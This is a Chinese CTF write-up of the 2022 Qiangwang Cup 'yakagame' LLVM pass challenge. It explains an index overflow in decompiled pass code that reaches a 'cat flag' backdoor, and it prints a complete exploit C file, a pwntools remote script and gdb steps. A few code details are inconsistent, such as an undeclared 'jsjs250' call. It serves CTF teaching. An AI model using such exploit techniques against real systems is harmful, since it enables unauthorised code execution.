2022强网杯 yakagame llvm pass pwn
前言:21年做过类似的llvm pass pwn题,比赛的时候没怎么看这道题,也懒得打,所以这里赛后做一下,题不难,漏洞很明显,有后门,想法触发后门就行了,通过位移操作计算出cat flag的地址就可以了,然后触发
漏洞点:
在没有规定函数指令的时候有个数据类型的溢出
![X[BLM(BA]U(P_%2)HHLQNYA.png][1]
v37 = 0;
v36 = llvm::CallBase::getNumOperands(v60);
if ( v36 != 2 )
exit(0);
v21 = llvm::CallBase::getArgOperand(v60, 0);
v35 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
v37 = llvm::ConstantInt::getZExtValue(v35);
v34 = std::map<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,unsigned char>::begin(&funMap[abi:cxx11]);
v33 = 0; // char
while ( 1 )
{
v32 = std::map<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,unsigned char>::end(&funMap[abi:cxx11]);
if ( (std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator!=(
&v34,
&v32) & 1) == 0 )
break;
v22 = std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator->(&v34);
if ( (std::operator==<char>(v22, v58) & 1) != 0 )
{
v23 = std::operator<<<std::char_traits<char>>(
&std::cout,
"you really want this?all right,i will add it into the weapon list");
std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
v24 = *(_BYTE *)(std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator->(&v34)
+ 32);
weaponlist[v33] = v24; // 256,超过256,就能触发负数溢出,
break;
}
++v33;
v33是索引,通过v3++可以溢出,溢出到上面soruce,为触发后门做准备
然后就是计算cat flag的指令
![]Z9PU{%RK9DNC1)7Q3PNZDT.png][2]
else if ( (std::operator==<char>(v58, "wuxiangdeyidao") & 1) != 0 )
{
--boss;
for ( l = 0; l < 8; ++l )
cmd[l] ^= 0x14u;
}
else if ( (std::operator==<char>(v58, "zhanjinniuza") & 1) != 0 )
{
boss -= 2;
for ( m = 0; m < 8; ++m )
cmd[m] ^= 0x7Fu;
}
else if ( (std::operator==<char>(v58, "guobapenhuo") & 1) != 0 )
{
boss -= 3;
for ( n = 0; n < 8; ++n )
cmd[n] -= 9;
}
else if ( (std::operator==<char>(v58, "tiandongwanxiang") & 1) != 0 )
{
boss -= 0x50;
for ( ii = 0; ii < 8; ++ii )
cmd[ii] += 2;
}
通过异或计算
然后在fight进行后门函数触发
触发即可rce&get flag
exp有点长
exp.c:
#include <stdio.h>
void fight(int a){};
void merge(int a,int b){};
void destroy(int a){};
void upgrade(int a){};
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};
void jsjsj0(int a);
void jsjsj1(int a);
void jsjsj2(int a);
void jsjsj3(int a);
void jsjsj4(int a);
void jsjsj5(int a);
void jsjsj6(int a);
void jsjsj7(int a);
void jsjsj8(int a);
void jsjsj9(int a);
void jsjsj10(int a);
void jsjsj11(int a);
void jsjsj12(int a);
void jsjsj13(int a);
void jsjsj14(int a);
void jsjsj15(int a);
void jsjsj16(int a);
void jsjsj17(int a);
void jsjsj18(int a);
void jsjsj19(int a);
void jsjsj20(int a);
void jsjsj21(int a);
void jsjsj22(int a);
void jsjsj23(int a);
void jsjsj24(int a);
void jsjsj25(int a);
void jsjsj26(int a);
void jsjsj27(int a);
void jsjsj28(int a);
void jsjsj29(int a);
void jsjsj30(int a);
void jsjsj31(int a);
void jsjsj32(int a);
void jsjsj33(int a);
void jsjsj34(int a);
void jsjsj35(int a);
void jsjsj36(int a);
void jsjsj37(int a);
void jsjsj38(int a);
void jsjsj39(int a);
void jsjsj40(int a);
void jsjsj41(int a);
void jsjsj42(int a);
void jsjsj43(int a);
void jsjsj44(int a);
void jsjsj45(int a);
void jsjsj46(int a);
void jsjsj47(int a);
void jsjsj48(int a);
void jsjsj49(int a);
void jsjsj50(int a);
void jsjsj51(int a);
void jsjsj52(int a);
void jsjsj53(int a);
void jsjsj54(int a);
void jsjsj55(int a);
void jsjsj56(int a);
void jsjsj57(int a);
void jsjsj58(int a);
void jsjsj59(int a);
void jsjsj60(int a);
void jsjsj61(int a);
void jsjsj62(int a);
void jsjsj63(int a);
void jsjsj64(int a);
void jsjsj65(int a);
void jsjsj66(int a);
void jsjsj67(int a);
void jsjsj68(int a);
void jsjsj69(int a);
void jsjsj70(int a);
void jsjsj71(int a);
void jsjsj72(int a);
void jsjsj73(int a);
void jsjsj74(int a);
void jsjsj75(int a);
void jsjsj76(int a);
void jsjsj77(int a);
void jsjsj78(int a);
void jsjsj79(int a);
void jsjsj80(int a);
void jsjsj81(int a);
void jsjsj82(int a);
void jsjsj83(int a);
void jsjsj84(int a);
void jsjsj85(int a);
void jsjsj86(int a);
void jsjsj87(int a);
void jsjsj88(int a);
void jsjsj89(int a);
void jsjsj90(int a);
void jsjsj91(int a);
void jsjsj92(int a);
void jsjsj93(int a);
void jsjsj94(int a);
void jsjsj95(int a);
void jsjsj96(int a);
void jsjsj97(int a);
void jsjsj98(int a);
void jsjsj99(int a);
void jsjsj100(int a);
void jsjsj101(int a);
void jsjsj102(int a);
void jsjsj103(int a);
void jsjsj104(int a);
void jsjsj105(int a);
void jsjsj106(int a);
void jsjsj107(int a);
void jsjsj108(int a);
void jsjsj109(int a);
void jsjsj110(int a);
void jsjsj111(int a);
void jsjsj112(int a);
void jsjsj113(int a);
void jsjsj114(int a);
void jsjsj115(int a);
void jsjsj116(int a);
void jsjsj117(int a);
void jsjsj118(int a);
void jsjsj119(int a);
void jsjsj120(int a);
void jsjsj121(int a);
void jsjsj122(int a);
void jsjsj123(int a);
void jsjsj124(int a);
void jsjsj125(int a);
void jsjsj126(int a);
void jsjsj127(int a);
void jsjsj128(int a);
void jsjsj129(int a);
void jsjsj130(int a);
void jsjsj131(int a);
void jsjsj132(int a);
void jsjsj133(int a);
void jsjsj134(int a);
void jsjsj135(int a);
void jsjsj136(int a);
void jsjsj137(int a);
void jsjsj138(int a);
void jsjsj139(int a);
void jsjsj140(int a);
void jsjsj141(int a);
void jsjsj142(int a);
void jsjsj143(int a);
void jsjsj144(int a);
void jsjsj145(int a);
void jsjsj146(int a);
void jsjsj147(int a);
void jsjsj148(int a);
void jsjsj149(int a);
void jsjsj150(int a);
void jsjsj151(int a);
void jsjsj152(int a);
void jsjsj153(int a);
void jsjsj154(int a);
void jsjsj155(int a);
void jsjsj156(int a);
void jsjsj157(int a);
void jsjsj158(int a);
void jsjsj159(int a);
void jsjsj160(int a);
void jsjsj161(int a);
void jsjsj162(int a);
void jsjsj163(int a);
void jsjsj164(int a);
void jsjsj165(int a);
void jsjsj166(int a);
void jsjsj167(int a);
void jsjsj168(int a);
void jsjsj169(int a);
void jsjsj170(int a);
void jsjsj171(int a);
void jsjsj172(int a);
void jsjsj173(int a);
void jsjsj174(int a);
void jsjsj175(int a);
void jsjsj176(int a);
void jsjsj177(int a);
void jsjsj178(int a);
void jsjsj179(int a);
void jsjsj180(int a);
void jsjsj181(int a);
void jsjsj182(int a);
void jsjsj183(int a);
void jsjsj184(int a);
void jsjsj185(int a);
void jsjsj186(int a);
void jsjsj187(int a);
void jsjsj188(int a);
void jsjsj189(int a);
void jsjsj190(int a);
void jsjsj191(int a);
void jsjsj192(int a);
void jsjsj193(int a);
void jsjsj194(int a);
void jsjsj195(int a);
void jsjsj196(int a);
void jsjsj197(int a);
void jsjsj198(int a);
void jsjsj199(int a);
void jsjsj200(int a);
void jsjsj201(int a);
void jsjsj202(int a);
void jsjsj203(int a);
void jsjsj204(int a);
void jsjsj205(int a);
void jsjsj206(int a);
void jsjsj207(int a);
void jsjsj208(int a);
void jsjsj209(int a);
void jsjsj210(int a);
void jsjsj211(int a);
void jsjsj212(int a);
void jsjsj213(int a);
void jsjsj214(int a);
void jsjsj215(int a);
void jsjsj216(int a);
void jsjsj217(int a);
void jsjsj218(int a);
void jsjsj219(int a);
void jsjsj220(int a);
void jsjsj221(int a);
void jsjsj222(int a);
void jsjsj223(int a);
void jsjsj224(int a);
void jsjsj225(int a);
void jsjsj226(int a);
void jsjsj227(int a);
void jsjsj228(int a);
void jsjsj229(int a);
void jsjsj230(int a);
void jsjsj231(int a);
void jsjsj232(int a);
void jsjsj233(int a);
void jsjsj234(int a);
void jsjsj235(int a);
void jsjsj236(int a);
void jsjsj237(int a);
void jsjsj238(int a);
void jsjsj239(int a);
void jsjsj240(int a);
void jsjsj241(int a);
void jsjsj242(int a);
void jsjsj243(int a);
void jsjsj244(int a);
void jsjsj245(int a);
void jsjsj246(int a);
void jsjsj247(int a);
void jsjsj248(int a);
void jsjsj249(int a);
void jsjsj250(int a);
void jsjsj251(int a);
void jsjsj252(int a);
void jsjsj253(int a);
void jsjsj254(int a);
void jsjsj255(int a);
void jsjsj256(int a);
void jsjsj257(int a);
void jsjsj258(int a);
void jsjsj259(int a);
void gamestart()
{
tiandongwanxiang();
wuxiangdeyidao();
guobapenhuo();
wuxiangdeyidao();
jsjsj1(0);
jsjsj2(0);
jsjsj3(0);
jsjsj4(0);
jsjsj5(0);
jsjsj6(0);
jsjsj7(0);
jsjsj8(0);
jsjsj9(0);
jsjsj10(0);
jsjsj11(0);
jsjsj12(0);
jsjsj13(0);
jsjsj14(0);
jsjsj15(0);
jsjsj16(0);
jsjsj17(0);
jsjsj18(0);
jsjsj19(0);
jsjsj20(0);
jsjsj21(0);
jsjsj22(0);
jsjsj23(0);
jsjsj24(0);
jsjsj25(0);
jsjsj26(0);
jsjsj27(0);
jsjsj28(0);
jsjsj29(0);
jsjsj30(0);
jsjsj31(0);
jsjsj32(0);
jsjsj33(0);
jsjsj34(0);
jsjsj35(0);
jsjsj36(0);
jsjsj37(0);
jsjsj38(0);
jsjsj39(0);
jsjsj40(0);
jsjsj41(0);
jsjsj42(0);
jsjsj43(0);
jsjsj44(0);
jsjsj45(0);
jsjsj46(0);
jsjsj47(0);
jsjsj48(0);
jsjsj49(0);
jsjsj50(0);
jsjsj51(0);
jsjsj52(0);
jsjsj53(0);
jsjsj54(0);
jsjsj55(0);
jsjsj56(0);
jsjsj57(0);
jsjsj58(0);
jsjsj59(0);
jsjsj60(0);
jsjsj61(0);
jsjsj62(0);
jsjsj63(0);
jsjsj64(0);
jsjsj65(0);
jsjsj66(0);
jsjsj67(0);
jsjsj68(0);
jsjsj69(0);
jsjsj70(0);
jsjsj71(0);
jsjsj72(0);
jsjsj73(0);
jsjsj74(0);
jsjsj75(0);
jsjsj76(0);
jsjsj77(0);
jsjsj78(0);
jsjsj79(0);
jsjsj80(0);
jsjsj81(0);
jsjsj82(0);
jsjsj83(0);
jsjsj84(0);
jsjsj85(0);
jsjsj86(0);
jsjsj87(0);
jsjsj88(0);
jsjsj89(0);
jsjsj90(0);
jsjsj91(0);
jsjsj92(0);
jsjsj93(0);
jsjsj94(0);
jsjsj95(0);
jsjsj96(0);
jsjsj97(0);
jsjsj98(0);
jsjsj99(0);
jsjsj100(0);
jsjsj101(0);
jsjsj102(0);
jsjsj103(0);
jsjsj104(0);
jsjsj105(0);
jsjsj106(0);
jsjsj107(0);
jsjsj108(0);
jsjsj109(0);
jsjsj110(0);
jsjsj111(0);
jsjsj112(0);
jsjsj113(0);
jsjsj114(0);
jsjsj115(0);
jsjsj116(0);
jsjsj117(0);
jsjsj118(0);
jsjsj119(0);
jsjsj120(0);
jsjsj121(0);
jsjsj122(0);
jsjsj123(0);
jsjsj124(0);
jsjsj125(0);
jsjsj126(0);
jsjsj127(0);
jsjsj128(0);
jsjsj129(0);
jsjsj130(0);
jsjsj131(0);
jsjsj132(0);
jsjsj133(0);
jsjsj134(0);
jsjsj135(0);
jsjsj136(0);
jsjsj137(0);
jsjsj138(0);
jsjsj139(0);
jsjsj140(0);
jsjsj141(0);
jsjsj142(0);
jsjsj143(0);
jsjsj144(0);
jsjsj145(0);
jsjsj146(0);
jsjsj147(0);
jsjsj148(0);
jsjsj149(0);
jsjsj150(0);
jsjsj151(0);
jsjsj152(0);
jsjsj153(0);
jsjsj154(0);
jsjsj155(0);
jsjsj156(0);
jsjsj157(0);
jsjsj158(0);
jsjsj159(0);
jsjsj160(0);
jsjsj161(0);
jsjsj162(0);
jsjsj163(0);
jsjsj164(0);
jsjsj165(0);
jsjsj166(0);
jsjsj167(0);
jsjsj168(0);
jsjsj169(0);
jsjsj170(0);
jsjsj171(0);
jsjsj172(0);
jsjsj173(0);
jsjsj174(0);
jsjsj175(0);
jsjsj176(0);
jsjsj177(0);
jsjsj178(0);
jsjsj179(0);
jsjsj180(0);
jsjsj181(0);
jsjsj182(0);
jsjsj183(0);
jsjsj184(0);
jsjsj185(0);
jsjsj186(0);
jsjsj187(0);
jsjsj188(0);
jsjsj189(0);
jsjsj190(0);
jsjsj191(0);
jsjsj192(0);
jsjsj193(0);
jsjsj194(0);
jsjsj195(0);
jsjsj196(0);
jsjsj197(0);
jsjsj198(0);
jsjsj199(0);
jsjsj200(0);
jsjsj201(0);
jsjsj202(0);
jsjsj203(0);
jsjsj204(0);
jsjsj205(0);
jsjsj206(0);
jsjsj207(0);
jsjsj208(0);
jsjsj209(0);
jsjsj210(0);
jsjsj211(0);
jsjsj212(0);
jsjsj213(0);
jsjsj214(0);
jsjsj215(0);
jsjsj216(0);
jsjsj217(0);
jsjsj218(0);
jsjsj219(0);
jsjsj220(0);
jsjsj221(0);
jsjsj222(0);
jsjsj223(0);
jsjsj224(0);
jsjsj225(0);
jsjsj226(0);
jsjsj227(0);
jsjsj228(0);
jsjsj229(0);
jsjsj230(0);
jsjsj231(0);
jsjsj232(0);
jsjsj233(0);
jsjsj234(0);
jsjsj235(0);
jsjsj236(0);
jsjsj237(0);
jsjsj238(0);
jsjsj239(0);
jsjsj240(0);
jsjsj241(0);
jsjsj242(0);
jsjsj243(0);
jsjsj244(0);
jsjsj245(0);
jsjsj246(0);
jsjsj247(0);
jsjsj248(0);
jsjsj249(0);
jsjsj250(0);
jsjsj251(0);
jsjsj252(0);
jsjsj253(0);
jsjsj254(0);
jsjsj255(0);
jsjsj256(0);
jsjsj257(0);
jsjsj258(0);
jsjsj259(0);
jsjs250(0xbb);
fight(1);
}
编译exp
opt-8 -load ./yaka.so -ayaka ./exp.ll
打远程脚本:
from pwn import *
import sys
context.log_level='debug'
conn = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")
payload=f.read()
f.close()
payload2 = payload.encode("base64")
print repr(payload2)
conn.sendlineafter("bitcode: \n", payload2)
conn.interactive()
exp断点调试
gdb opt-8
set args -load ./yaka.so -ayaka ./exp.ll
b llvm::Pass::preparePassManager
b *rebase+elf_addr
c
c
c
总结:题不难,比赛没时间看,因为自己懒,懒得看,懒得打比赛笑死呜呜